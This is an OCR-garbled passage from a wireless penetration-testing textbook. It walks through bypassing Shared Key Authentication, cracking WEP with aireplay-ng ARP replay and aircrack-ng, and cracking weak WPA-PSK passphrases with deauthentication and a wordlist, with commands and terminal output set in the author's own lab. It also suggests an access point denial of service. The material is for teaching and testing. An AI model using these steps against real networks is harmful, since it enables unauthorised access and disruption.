fo | Gitar: | wlan,adde se gal eet aaa ee! al | d} Expression clase] aff ancy| 








604 28 .856307 D-Link “2: Hei25 aa18a aa aa aa aa IEEE 802 Authentication, SN=2955, FN=O, Flags=... 
605 28.857311 D-Link _d2:8e:25 aaiaa'aa!aa;aaiaa IEEE $02 Authentication, SN=2955, FN=0, Flags=.. 
611 25 .076796 aa:aa!88 aa! ae: ae D-Link d2:8e:25 TEEE 802 Association Request, SH=6, FN=0, Flags= 
613 29.100485 O-Link d2:8e:25 Ba: Ba: aa aa aaiaa IEEE 802 Association Response, SN=2958, FN=d, Fle 
615 25.076809 aaiaaiaataaiaaraa D-Link_d2:8e;25 IEEE 802 Association Request, SN=6, FN=0, Flags=. 
616 29.102506 OD-Link_d2:8a:25 aaiaaaalaaiaasaa IEEE 802 Association Response, SN=2958, FN=0. Fle 
617 29.104437 D-Link_d2:de:25 a0: 8540/80/08; a0 IEEE 802 Association cnpaneanaamial SN=2958, FN=G, Fle 
Scan ah Te ae Pm b deeds ota es SE ee ee ee ee ee ThE TA Leeecaedakhdane fliaee ee ee reine ruin Ft al 
+) 





* Frame 611 (76 bytes on wire, 70 bytes captured) 
* Radiotap Header vO, Length 12 
* TEEE 802.11 Association Request. Flags: ........ 
~ TEEE 802.11 wireless LAN management frame 
* Fixed parameters (4 bytes) 
' Capability Infarmatioan: GxG431 
Listen Interval: Ox0064 


= Tagged parameters (30 bytes) 
~ SSID parameter set: "Wireless Lab" 
Tag Number: @ (SSID parameter set) 
Tag Length: 12 
Tag interpretation; Wireless Lab 
~ Supported Rates: 1.6 2.0 5.5 11.6 
Tag Number: 1 (Supported Rates) 





Tag Length: 4 * 
00 00 00 Oc 00 04 80 O00 OO O2 60 18 00 00 00 3a Ol ........ ......:. 
16 OO 21 91 d2 Ge 25 aa 8S 88 5a oe ae OO 21 91 de us PMS ware aS 
20 fe 25 60 06 31 64 64 60 OO Ge ST 65 TT? 65 Ge 65 he olid. ..Wirele c 











Fla: Amprethersooiooahe" S50... | Packets: 2898 Daplayed: 105 Marked: 0 Dropped: 0 4 Prohle: Detault 
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12. \f you check the wireless logs in your access point's administrative interface, 
you should now see a wireless client with the MAC address AA:AA:AA:AA:AA:AA 
connected: 


AA-AA-AA-AA-A AAA, 192.168.1.110 015957 





What just happened? 


We were successful in deriving the keystream from a shared authentication exchange, and 
we used it to fake an authentication to the access point. 





Have a go hero — filling up the access point's tables 


Access points have a maximum client count after which they start refusing connections. By 
writing a simple wrapper over aireplay-ng, it is possible to automate and send hundreds of 
connection requests from random MAC addresses to the access point. This will end up filling 
the internal tables and once the maximum client count is reached, the access point will stop 
accepting new connections. This is typically what is called a Denial of Service (DoS) attack 
and can force the router to reboot or make it dysfunctional. This can lead to all the wireless 
clients being disconnected and being unable to use the authorized network. 


Check whether you can verify this in your lab! 


Pop quiz— WLAN authentication 





Q1. How can you force a wireless client to re-connect to the access point? 


By sending a deauthentication packet. 
By rebooting the client. 
By rebooting the access point. 


All of the above. 


- SY 


Q2. What does Open Authentication do? 


It provides decent security. 
It provides no security. 


It requires the use of encryption. 


a P 


None of the above. 
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Q3. How does breaking Shared Key Authentication work? 


1. By deriving the keystream from the packets. 

2. By deriving the encryption key. 

3. By sending deauthentication packets to the access point. 
4 


By rebooting the access point. 


Summary 


In this chapter, we learnt about WLAN Authentication. Hidden SSIDs are a security-through- 
obscurity feature and are is relatively simple to beat. MAC address filters do not provide 
any security, as MAC addresses can be sniffed from the air from the wireless packets. This is 
possible because the MAC addresses are unencrypted in the packet. Open Authentication 
provides no real authentication at all. Shared Key Authentication is a bit tricky to beat but, 
with the help of the right tools, we can derive the store and the keystream, using which it is 
possible to answer all future challenges sent by the access point. The result is that we can 
authenticate without needing to know the actual key. 


In the next chapter, we will take a look at different WLAN encryption mechanisms—WEP, 
WPA, and WPA2—and look at the insecurities that plague them. 





WLAN Encryption Flaws 


"640K is more memory than anyone will ever need." 


Bill Gates, Founder, Microsoft 


Even with the best of intentions, the future is always unpredictable. 

The WLAN committee designed WEP and then WPA to be foolproof encryption 
mechanisms but, over time, both these mechanisms had flaws that have been 
widely publicized and exploited in the real world. 


WLAN encryption mechanisms have had a long history of being vulnerable to 
cryptographic attacks. It started with WEP in early 2000, which eventually was 
completely broken. In recent times, attacks are slowly targeting WPA. Even 
though there is no public attack available currently to break WPA in all general 
conditions, there are attacks that are feasible under special circumstances. 





In this chapter, we will take a look at the following topics: 


@ Different encryption schemas in WLANs 
@ Cracking WEP encryption 
@ Cracking WPA encryption 
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WLAN encryption 


WLANs transmit data over the air and thus there is an inherent need to protect data 
confidentiality. This is best done using encryption. The WLAN committee (IEEE 802.11) 
formulated the following protocols for data encryption: 


@ Wired Equivalent Privacy (WEP) 
@ Wi-Fi Protected Access (WPA) 
@ Wi-Fi Protection Access v2 (WPAv2) 


In this chapter, we will take a look at each of these encryption protocols and demonstrate 
various attacks against them. 


WEP encryption 


The WEP protocol was known to be flawed as early as 2000 but, surprisingly, it is still 
continuing to be used and access points still ship with WEP enabled capabilities. 


There are many cryptographic weaknesses in WEP and they were discovered by Walker, 
Arbaugh, Fluhrer, Martin, Shamir, KoreK, and many others. Evaluation of WEP from a 
cryptographic standpoint is beyond the scope of this book, as it involves understanding 
complex math. In this section, we will take a look at how to break WEP encryption using 
readily available tools on the BackTrack platform. This includes the entire aircrack-ng 
suite of tools—airmon-ng, aireplay-ng, airodump-ng, aircrack-ng, and others. 


The fundamental weakness in WEP is its use of RC4 and a short IV value that is recycled 
every 224 frames. While this is a large number in itself, there is a 50 percent chance of four 
reuses every 5,000 packets. To use this to our advantage, we generate a large amount of 
traffic so that we can increase the likelihood of IVs that have been reused and thus compare 
two cipher texts encrypted with the same IV and key. 


Let's now first set up WEP in our test lab and see how we can break it. 
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Time for action — cracking WEP 





Follow the given instructions to get started: 


1. Let's first connect to our access point Wireless Lab and go to the settings area that 
deals with wireless encryption mechanisms: 


TP-LINK 


Status 
Quick Setup 
WPS 


Wireless 
-Wrireless Settings 


- Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Personal(Recommended) 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK 

AES 
86455808 

(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


Automatic 


Automatic 


1812 (1-65535. 0 stands for default port 1812) 


(in second, minimum is 30, 0 means no update) 


Automatic 
Hexadecimal 
_ | Key Type 
Disabled 
Disabled 
Disabled 
Disabled 
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2. Onmy access point, this can be done by setting the Security Mode to WEP. We will 
also need to set the WEP key length. As shown in the following screenshot, | have 
set WEP to use 128bit keys. | have set the default key to WEP Key 1 and the value in 
hex to abcdefabcdefabcdefabcdefi2 as the 128-bit WEP key. You can set this to 
whatever you choose: 


TP-LINK’ 


Status 

Quick Setup 

WPS 

Network 

Wireless 
-Wireless Settings 


- Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Personal(Recommended) 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: «@ 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK 4] 

AES v 

88455808 | 

(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 





Automatic 


Automatic 


1812 | (1-65535, 0 stands for default port 1812) 


0 (in second, minimum is 30, 0 means no update) 


Automatic Vv 
Hexadecimal ¥ 
oO WEP Key Key Type 
= | - | | Disabled ¥ 
| | Disabled ¥ 
Disabled ¥ 


We do not recommend using the WEP encryption if this device operates in 802.11n mode due to the fact that WEP is not supported by 


§02.11n specification. 











3. Once the settings are applied, the access point should now be offering WEP as the 
encryption mechanism of choice. Let's now set up the attacker machine. 


4. Let's bring up W1lano by issuing the following command: 


ifconfig wlan0O up 


5. Then, we will run the following command: 


airmon-ng start wlan0o 
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6. This is done so as to create monO, the monitor mode interface, as shown in the 
following screenshot. Verify that the mono interface has been created using the 
iwconfig command: 


©©®®) Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places of Fri26 Sep, 21:02 gl 


root@kali: ~ 


File Edit View Search Terminal Help 
root@kali:~# airmon-ng start wlang 


Found 3 processes that could cause trouble. 

If airodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill (some of) them! 
PID Name 

2913 dhclient 

2935 NetworkManager 

4Q62 wpa supplicant 


Interface Chipset Driver 


wlang Ralink RI28/0/30/0 rt4680G0usb - [phy@] 
(monitor mode enabled on mon) 


root@kali:-# iwconfig mon@ 

mong) TEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm 
Retry short Limit:/ ALS ERPSOT Ft Fragment thr:off 
Power Management :off 


root@kali:~# fj 


root@kkali: ~ i 
To release input, press Ctrl+Alt 5 =F8H ARB 











7. Let's run airodump-ng to locate our lab access point using the following command: 


airodump-ng mono 


[611 
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8. As youcan see in the following screenshot, we are able to see the Wireless Lab 
access point running WEP: 


© ©®©®) Kali Linux 32-bit - VMware Player (Non-commercial use only) 








Applications Places if Fri 26 Sep, 21:06 


root@kali: ~ 


File Edit View Search Terminal Help 
Elapsed: 24 s ][ 2014-09-26 21:06 
Basie PWR Beacons #Data, #/s CH ENC CIPHER AUTH ESSID 


E8:94 B2:1E:8E -44 g 2 @ 11 54e. WEP WEP Wireless Lab 
SC G8 -ZA:7B:CQ -75 9 3 Q@ 11 54e WPA2 CCMP PSK eaverythingwillpro 
00:27:80:67:6D:08 -90 16 332 8644 1 54e WPA TKIP PSK Upstairs 


BSSID STATION PWR Rate Lost Frames Probe 


(not associated) 1 a © Pa -DS : G 
(not associated) OG :EE:BD:B3:87: 5! GQ 
E8:94:F6:62:1E:8E 270:10:7A:45:36 
9C:D3:6D:2A:/B:CO -//7:1A:BB:39: a}s) i] 
O06:22:B0:62:60:08 SC:F6:DC: 

00:22:B80:62:60:08 a: 4F 3 7C: 

O00 :27:80:67:60:68 O:CB:1D: 

@O:2727:80:67:60:08 /8:E4:00 


root@kkali: ~ 
To release input, press Ctril+Alt 3Bo sei ees 





9. For this exercise, we are only interested in the Wireless Lab, so let's enter the 
following command to only see packets for this network: 


airodump-ng -bssid 00:21:91:D2:8E:25 --channel 11 --write 
WEPCrackingDemo mon0 


162] 
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The preceding command line is shown in the following screenshot: 


©©®©® Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places af b_] Fri 26 Sep, 21:08 o > 3 ce @ root 


root@kali: ~ 


File Edit View Search Terminal Help 
root@kali:~# airodump-ng --bssid E8:94:F6:62:1E:8E --channel 11 --write WEPCrackingDemo monO@ 


root@kali: ~ 


To release input, press Ctri+Alt 








10. We will request airodump-ng to save the packets into a pcap file using the 
--write directive: 


© all Unux 32-bit - VMware Player (Non-commercial use only) 


Applications Places | Fri 26 Sep, 21:08 sl * oe @ oot 

















root@kali: « 
View Search Terminal Help 
CH 11 J[ Elapsed: 127 5s J[ 2014-09-26 21:08 ][ fixed chann mang : 
BSSITG PwA AX Beacons fata, #)'s CH MB ENC CIPHER AUTH ESSsto 
145 4Q 1 SJe. WEP WEP Wireless Lab 
Frames Probe 


=a, om: 


#6 


E) rootd@kali: - 
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11. Now let's connect our wireless client to the access point and use the WEP key as 
abcdefabcdefabcdefabcdef12. Once the client has successfully connected, 
airodump-ng should report it on the screen. 


12. \f you do an 1s in the same directory, you will be able to see files prefixed with 
WEPCrackingDemo-*, as shown in the following screenshot. These are traffic 
dump files created by airodump-ng: 


™©©®) Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ¢ Fri26 Sep, 21:10 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Help 
'~/WEPCrack# 1s 
WEPCrackingDemo-@1.cap WEPCrackingDemo-@2.cap 
WEPCrackingDemo-@1.csv WEPCrackingDemo-@2.csv 
WEPCrackingDemo-@1.kKismet.csv WEPCrackingDemo-@2.kKismet.csv 
WEPCrackingDemo-@1.kismet.netxmlL WEPCrackingDemo-02.kismet .netxml 
:~/WEPCrack# 


>| [root@kali: ~] root@kali: ~/WEP Crack 


To release input, press Ctri+Alt 





164] 
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13. \f you notice the airodump-ng screen, the number of data packets listed under 
the #Data column is very few in number (only 68). In WEP cracking, we need a 
large number of data packets, encrypted with the same key to exploit weaknesses 
in the protocol. So, we will have to force the network to produce more data packets. 
To do this, we will use the aireplay-ng tool: 
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root@kali: ~ 
File Edit View Search Terminal Help 
CH 11 ][ Elapsed: 1 min J[ 2014-09-26 21:11 ][ fixed channel mon@: -1 
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
E8:94:F6:62 -45 160 1993 987 @ 11 54e. WEP WEP Wireless Lab 
BSSID STATION PWR Rate ost Frames Probe 


E8:94:F6:62 20:10:7A:45:36:61 -/1 48e-54e é 962 


root@kali: ~ root@kali: ~/WEP Crack 


To release input, press Ctrl+Alt 
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14. We will capture ARP packets on the wireless network using Aireplay-ng and inject 
them back into the network to simulate ARP responses. We will be starting Aireplay- 
ng in a separate window, as shown in the next screenshot. Replaying these packets a 
few thousand times, we will generate a lot of data traffic on the network. Even though 
Aireplay-ng does not know the WEP key, it is able to identify the ARP packets by 
looking at the size of the packets. ARP is a fixed header protocol; thus, the size of the 
ARP packets can be easily determined and can be used to identify them even within 
encrypted traffic. We will run aireplay-ng with the options that are discussed 
next. The -3 option is for ARP replay, -b specifies the BSSID of our network, and -h 
specifies the client MAC address that we are spoofing. We need to do this, as replay 
attacks will only work for authenticated and associated client MAC addresses: 
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root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 
root@kali:~# aireplay-ng -3 -b £8:94:F6:62:1E:8E -h 20:10:7A:45:36:61§f 


root@kali: ~ root@kali: ~/WEPCrack 








To release input, press Ctri+Alt Ag -~sheano 
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15. Very soon you should see that aireplay-ng was able to sniff ARP packets and 
started replaying them into the network. If you encounter channel-related errors 
as | did, append -ignore-negative-one to your command, as shown in the 
following screenshot: 
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root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 
root@kali:~# aireplay-ng -3 -b £8:94:F6:62:1E:8E -h 20:10:7A:45:36:61 --ignore-negative-one 
mong 
The interface MAC (8@:1F:02:8F:34:D5) doesn't match the specified MAC (-h). 
ifconfig mon® hw ether 20:10:7A:45:36:61 
21:14:33 Waiting for beacon frame (BSSID: E£8:94:F6:62:1E:8E) on channel -1l 
Saving ARP requests in replay _arp-0926-211433.cap 
‘You should also start airodump-ng to capture replies. 
ead 1091 packets (got @ ARP requests and // ACKs), sent @ packets...(@ pps) 


root@kali: ~ root@kali; ~/WEP Crack 


To release input, press Ctri+Alt 
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16. At this point, airodump-ng will also start registering a lot of data packets. 
All these sniffed packets are being stored in the WEPCrackingDemo-* files that 
we Saw previously: 
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root@kali: 


File Edit View Search Terminal Tabs Help 
root@kali: ~ root@kalt: ~ 
CH ll ][ Elapsed: 6 mins ][ 2014-09-26 21:15 ][ fixed channel mon@: -1 
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH 
E8:94:F6:62 -49 100 3360 3090 160 11 54a. WEP WEP 
BSSID STATION == st Frames Probe 


F8:94:F6:62 20:10:7A: ig 54e-54e ‘ 3091 


root@kali: ~ root@kali: ~/WEP Crack 
To release input, press Ctrl+Alt =e @ BSF 





17. Now let's start with the actual cracking part! We fire up aircrack-ng with 
the option WEPCRackingDemo-0*.cap in anew window. This will start the 
aircrack-ng software and it will begin working on cracking the WEP key using 
the data packets in the file. Note that it is a good idea to have Airodump-ng collect 
the WEP packets, aireplay-ng do the replay attack, and aircrack-ng attempt 
to crack the WEP key based on the captured packets, all at the same time. In this 
experiment, all of them are open in separate windows. 
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18. Your screen should look like the following screenshot when aircrack-ng is 
working on the packets to crack the WEP key: 


> 2 <) 





Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ¢ 


Fri 26 Sep, 21:16 


root@kali: ~/WEPCrack 


File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ root@kali: ~/WEPCrack 


Aircrack-ng 1.2 betas 


[e 2] Tested 625 keys (got 4193 IVs) 


depth byte(vote) 


1/ 17 
i 
i 


— 


4 


BWME @ 


12(6656) 
14(7424) 
CO (7686) 
5F (6912) 
FG(6912) 


49 (6656) 
A2(6400) 
22 (6656) 
17 (6656) 
A8 (6400) 


13(6400) 
C3(6400) 
41( 6656) 
EC (6656) 
DF (6406) 


84(6400) 
AC(6144) 
B2 (6656) 
97(6400) 
5E(6144) 





root@kali: ~/WEP Crack root@kali: ~/WEP Crack 


To release input, press Ctri+Alt ae. 








WLAN Encryption Flaws 


19. The number of data packets required to crack the key is nondeterministic, but 
generally in the order of a hundred thousand or more. On a fast network (or using 
aireplay-ng), this should take 5-10 minutes at most. If the number of data 
packets currently in the file is not sufficient, then aircrack-ng will pause, as 
shown in the following screenshot, and wait for more packets to be captured; it will 
then restart the cracking process: 
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root@kali: ~/WEPCrack 


File Edit View Search Terminal Tabs Help 


root@kkali: ~ root@kali: ~  root@kali: ~/WEP Crack 


Aircrack-ng 1.2 betas 


[G0:06:02] Tested 166661 keys (got 3862 IVs) 


byte( vote) 

F3(5120) 47( 4864) 69(4864) 78(4864) 84(4864) 99( 4864) 
F3(5632) 32(5376) 3B(5376) 47(5376) 48(5376) 74(5376) 
B2(6400) 41(6144) 58(6144) 5A(6144) EF(6144) FE(6144) 
F2(5888) @D(5637) 17(5632) 32(5632) 47(56327) 80(5637) 
E5(563?7) GE(5376) 1F(5376) GE(5376) 83(5376) 9E(5376) 


ext try with 5000 IVs. 


root@kali: ~/WEP Crack root@kali: ~/WEP Crack 


To release input, press Ctri+Alt 
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20. Once enough data packets have been captured and processed, aircrack-ng 
should be able to break the key. Once it does, it proudly displays it in the terminal 
and exits, as shown in the following screenshot: 
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root@kali: ~/WEPCrack 
File Edit View Search Terminal Tabs Help 


root@kkali: ~ root(@kali: ~ rooti@kali: ~/WEP Crack 


Aircrack-ng 1.2 betas 


[G0:00:00] Tested 541 keys (got 49534 IVs) 


or 
OO) se 


J 
1.0 


Se ee ee ot 
~ 1  on On on im 


eo 4%) oo 
MM Bo wm OO oy 
Rt 


Hl 
2 
| 
4 


: 
KEY FOUND! [| AB:CD:EF:AB:CD:EF:AB:CD:EF:AB:CDIERi12: | 
Decrypted correctly: 100% 


root@kali:~/WEPCrack# Jj 


root@kali: ~/WEP Crack root@kali: ~/WEP Crack 
To release input, press Ctrl+Alt og =j=jS5S2 BSE 





21. \t is important to note that WEP is totally flawed and any WEP key (no matter how 
complex) will be cracked by Aircrack-ng. The only requirement is that a large 
enough number of data packets, encrypted with this key, are made available to 


aircrack-ng. 
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What just happened? 


We set up WEP in our lab and successfully cracked the WEP key. In order to do this, we first 
waited for a legitimate client of the network to connect to the access point. After this, we 
used the aireplay-ng tool to replay ARP packets into the network. This caused the network 
to send ARP replay packets, thus greatly increasing the number of data packets sent over the 
air. We then used the aircrack-ng tool to crack the WEP key by analyzing cryptographic 
weaknesses in these data packets. 


Note that we can also fake an authentication to the access point using the Shared Key 
Authentication bypass technique we learnt in the last chapter. This can come in handy if the 
legitimate client leaves the network. This will ensure that we can spoof an authentication 
and association and continue to send our replayed packets into the network. 





Have a go hero — fake authentication with WEP cracking 


In the previous exercise, if the legitimate client had suddenly logged off the network, we 
would not have been able to replay the packets as the access point will refuse to accept 
packets from un-associated clients. 


Your challenge will be to fake an authentication and association using the Shared Key 
Authentication bypass we learnt in the last chapter, while WEP cracking is going on. Log off 
the legitimate client from the network and verify that you are still able to inject packets into 
the network and whether the access point accepts and responds to them. 





WPA/WPAZ 


WPA( or WPA v1 as it is referred to sometimes) primarily uses the TKIP encryption algorithm. 
TKIP was aimed at improving WEP, without requiring completely new hardware to run it. 
WPA2 in contrast mandatorily uses the AES-CCMP algorithm for encryption, which is much 
more powerful and robust than TKIP. 


Both WPA and WPA2 allow either EAP-based authentication, using RADIUS servers 
(Enterprise) or a Pre-Shared key (PSK) (personal)-based authentication schema. 


WPA/WPA2 PSK is vulnerable to a dictionary attack. The inputs required for this attack are 
the four-way WPA handshake between client and access point, and a wordlist that contains 
common passphrases. Then, using tools such as Aircrack-ng, we can try to crack the WPA/ 
WPA2 PSK passphrase. 
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An illustration of the four-way handshake is shown in the following screenshot: 





Supplicant = | 3 
a | Authenticator 
—_ Probe Request-Response YS 


— nn Sa i i ana ee = 
oe ee en ee = 
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= 
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= = 
=_ = 
=_ 
a = 
— = 
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= 
= = 
a a 
= 
— 
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— 
a= = 
== 


Snounce 


Key Installed 


Key Install Acknowledgement 








The way WPA/WPA2 PSK works is that it derives the per-session key, called the Pairwise 
Transient Key (PTK), using the Pre-Shared Key and five other parameters—SSID of Network, 
Authenticator Nounce (ANounce), Supplicant Nounce (SNounce), Authenticator MAC 
address (Access Point MAC), and Suppliant MAC address (Wi-Fi Client MAC). This key is 
then used to encrypt all data between the access point and client. 


An attacker who is eavesdropping on this entire conversation by sniffing the air can get 

all five parameters mentioned in the previous paragraph. The only thing he does not have 

is the Pre-Shared Key. So, how is the Pre-Shared Key created? It is derived by using the 
WPA-PSK passphrase supplied by the user, along with the SSID. The combination of both of 
these is sent through the Password-Based Key Derivation Function (PBKDF2), which outputs 
the 256-bit shared key. 
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In a typical WPA/WPA2 PSK dictionary attack, the attacker would use a large dictionary of 
possible passphrases with the attack tool. The tool would derive the 256-bit Pre-Shared key 
from each of the passphrases and use it with the other parameters, described earlier, to 
create the PTK. The PTK will be used to verify the Message Integrity Check (MIC) in one of 
the handshake packets. If it matches, then the guessed passphrase from the dictionary was 
correct; if not, it was incorrect. 


Eventually, if the authorized network passphrase exists in the dictionary, it will be identified. 
This is exactly how WPA/WPA2 PSK cracking works! The following figure illustrates the 
steps involved: 





4 Way Handshake 


SNonce 
ANonce 
Pre-Shared Key 256 bit | ~~~ AP MAC 


Client MAC 


7 PTK 
Verify by Checking the MIC 


In the next exercise, we will take a look at how to crack a WPA PSK wireless network. The 
exact same steps will be involved in cracking a WPA2-PSK network using CCMP(AES) as well. 








=} .4D) ee es) | DD) 
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Time for action — cracking WPA-PSK weak passphrases 


Follow the given instructions to get started: 





1. Let's first connect to our access point Wireless Lab and set the access point to use 
WPA-PSK. We will set the WPA-PSK passphrase to abcdefgh so that it is vulnerable 
to a dictionary attack: 


TP-LINK’ 


Disable Security 
« WPA/WPA? - Personal(Recommended) 
Version: WPA-P SEK 
Enerpione AES 


Witess Paaeword: 


Group Key Lipdote Period: 





2. Westart airodump-ng with the following command so that it starts capturing and 
storing all packets for our network: 


airodump-ng -bssid 00:21:91:D2:8E:25 -channel 11 -write 
WPACrackingDemo mon0" 


The following screenshot shows the output: 


"Kall Linus 32-bit - VMware Player (Mon-commercial use only) 


Applications Places [P| Fri2é Sep, 21:22 


root@kall: = 


| rooki ka rt 


AAS Inu, OreLs Lt 
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3. Now wecan wait for a new client to connect to the access point so that we can 
capture the four-way WPA handshake, or we can send a broadcast deauthentication 
packet to force clients to reconnect. We do the latter to speed things up. The same 
thing can happen again with the unknown channel error. Again, use --ignore- 
negative-one. This can also require more than one attempt: 
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root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ ' root@kali: ~ root@kali: ~/WEPCrack 
root@kali:-# aireplay-ng --deauth 1 -a E8:94:F6:62:1E:8E mon® --ignore-negative-one 
1:25:30 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack 15 more effective when targeting 
a connected wireless client [-c <client's mac=). 
21:25:30 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:1E:8E] 
root@kali:~# Jj 


root@kali: ~ root@kali: ~/WEP Crack 





To release input, press Ctrl+Alt oe ss 97 BeBe 


4, Assoonas we capture a WPA handshake, the airodump-ng tool will indicate it 
in the top-right corner of the screen with a WPA handshake followed by the access 
point's BSSID. If you are using -ignore-negative-one, the tool may replace the 
WPA handshake with a fixed channel message. Just keep an eye out for a quick flash 
of a WPA handshake. 
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5. Wecanstop the airodump-ng utility now. Let's open up the cap file in Wireshark 
and view the four-way handshake. Your Wireshark terminal should look like the 
following screenshot. | have selected the first packet of the four-way handshake in 
the trace file in the screenshot. The handshake packets are the one whose protocol 
is EAPOL: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places P af >_ | Fri 26 Sep, 21:30 a ¥ me ® root 
WPACrackingDemo-O3.cap [Wireshark 1.10.2 (SVN Rev 51934 from /trunk-1.10)] mh = 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


© © 48 @ = % e Q “ > 2 - ¥ ste) Ais ==) i ll ad ¥ 


Filter: v | Expression... 

No, Time Source Destination Protocol | Lengtl Info 
Lss2? 725523525 Tp-LinkT_62:1le:8e Broadcast B02. 11 26 Deauthentication, SN=1127, FN: 
13328 72.524800 Tp-LinkT _62:le:8e GemtekTe_ 45:36:61 802.11 176 Reassoclation Response, SN=25 
13329 72,.525290 Tp-LinkT_62:le:8e (RA; 802.11 10 Acknowledgement, Flags=...... l 
13330 72.525873 Tp-LinkT_62:le:8e Broadcast 802.11 26 Deauthentication, SN=1128, FN: 





Tp-LinkT 62:1le:8e GemtekTe 45: Key (Message 1 of 4) 
13332 72,.526826 Tp-LinkT_62:le:8e (RA) 802.11 10 AcknowLedgement, Flags=...... 


Frame 13331: 133 bytes on wire (1064 bits), 133 bytes captured (1064 bits) 
ITEEE 802.11 005 Data, Flags: scaraeracie F. 

LogicaLl-Link Control 

802.1 Authentication 


0000 88 O02 3a 01 20 10 7a 45 36 61 68 94 f6 62 le Ge aicaietlias EES Bh aie Be 
0010 e8 94 f6 62 le 8e 00 00 O06 OO aa aa O3 OO OO OOD spent netince iagsieuenticnan: 
0020 88 Se O2 03 OO ST fe 0O 8a 0010 00 00 00 OO OO..... Jisiiihe “ielauieomed ies 
0030 O60 GO 61 bO 8d e7 Sb 75 58 Ob Ga 64 c? 44 24 Bf ...... Lex pe. Be? 
0040. f9 18 f2 c9 Of eb d3 Ob 266 62 bO 6c 3b 36 ll ca _w....... Aas Pal Bd so 
Om File: "WPACrackingDemo-03.cap".... Packets: 29476 - Displayed: 29476 (100.0%) - Loa... Profile: Default 





root@kkali; ~ root@kali: ~/WEP Crack WPACrackingDemo-9... | 
To grab input, press Ctrl+G Uo sees 
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6. Nowwewill start the actual key cracking exercise! For this, we need a dictionary 
of common words. Kali ships with many dictionary files in the metasploit folder 
located as shown in the following screenshot. It is important to note that, in 
WPA cracking, you are just as good as your dictionary. BackTrack ships with some 
dictionaries, but these may be insufficient. Passwords that people choose depend 
on a lot of things. This includes things such as which country users live in, common 
names and phrases in that region the, security awareness of the users, and a host of 
other things. It may be a good idea to aggregate country- and region-specific word 
lists, when undertaking a penetration test: 
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root@kali: ~/WEPCrack 

File Edit View Search Terminal Help 

-~/WEPCrack# Ls /usr/share/wordlists/metaspLoit 
av -Update-urls.txt oracle default hashes. txt 
burnett top 1024.txt oracle default passwords.csv 
burnett _top 500.txt oracle default userpass. txt 
cms400net_ default _userpass. txt postgres default pass. txt 
db2 default pass. txt postgres default userpass. txt 
db? default userpass. txt postgres default user. txt 
db2 default user. txt root _userpass. txt 
default pass for_services unhash.txt rpc_names. txt 
default _userpass for services unhash.txt rservices from users. txt 
default users _for_ services unhash.txt Sap_common. txt 
dlink telnet backdoor userpass.txt sap default .txt 
hci oracle passwords.csv sap icm paths. txt 
http default pass. txt sensitive files. txt 
http default userpass. txt sensitive files win.txt 
http default users, txt sid. txt 
http owa common.txt snmp default pass. txt 
idrac default pass.txt tftp. txt 
idrac default user.txt tomcat!) mgr default pass. txt 
ipmi_ passwords.txt tomcat! mgr default uUsenpass. txt 

tomcat _ mgr default users. txt 
unix passwords. txt 

malicious urls.txt unix users, txt 
multi vendor cctv dvr _pass.txt vne passwords. txt 
multi vendor cctv dvr_users. txt vxworks collide 20,.txt 
nameList. txt vxworks common 20. txt 


‘ 


=) [root@kali: ~] root@kali: ~/WEP Crack [WPA CrackingDemo-0.., 


To release input, press Ctrl+Alt 
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7. \Newill now invoke the aircrack-ng utility with the pcap file as the input 
and a link to the dictionary file, as shown in the following screenshot. | have used 
nmap.lst ,as shown in the terminal: 
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root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@@kali: ~ root@kali: ~ root@kali: ~/WEPCrack 
root@kali:-# aircrack-ng WPACrackingDemo-@3.cap -w /usr/share/wordlists/nmap.1Lst 


root@kali: ~ =) [root@kali: ~/WEPCra.., 


To release input, press Ctri+Alt 
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8. aircrack-ng uses the dictionary file to try various combinations of passphrases 
and tries to crack the key. If the passphrase is present in the dictionary file, it will 
eventually crack it and your screen will look similar to the one in the screenshot: 
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root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ 


Aircrack-ng 1.2 betas 
[00:00:00] 646 keys tested (1091.54 k/s) 
KEY FOUND! [ abcdefgh ] 


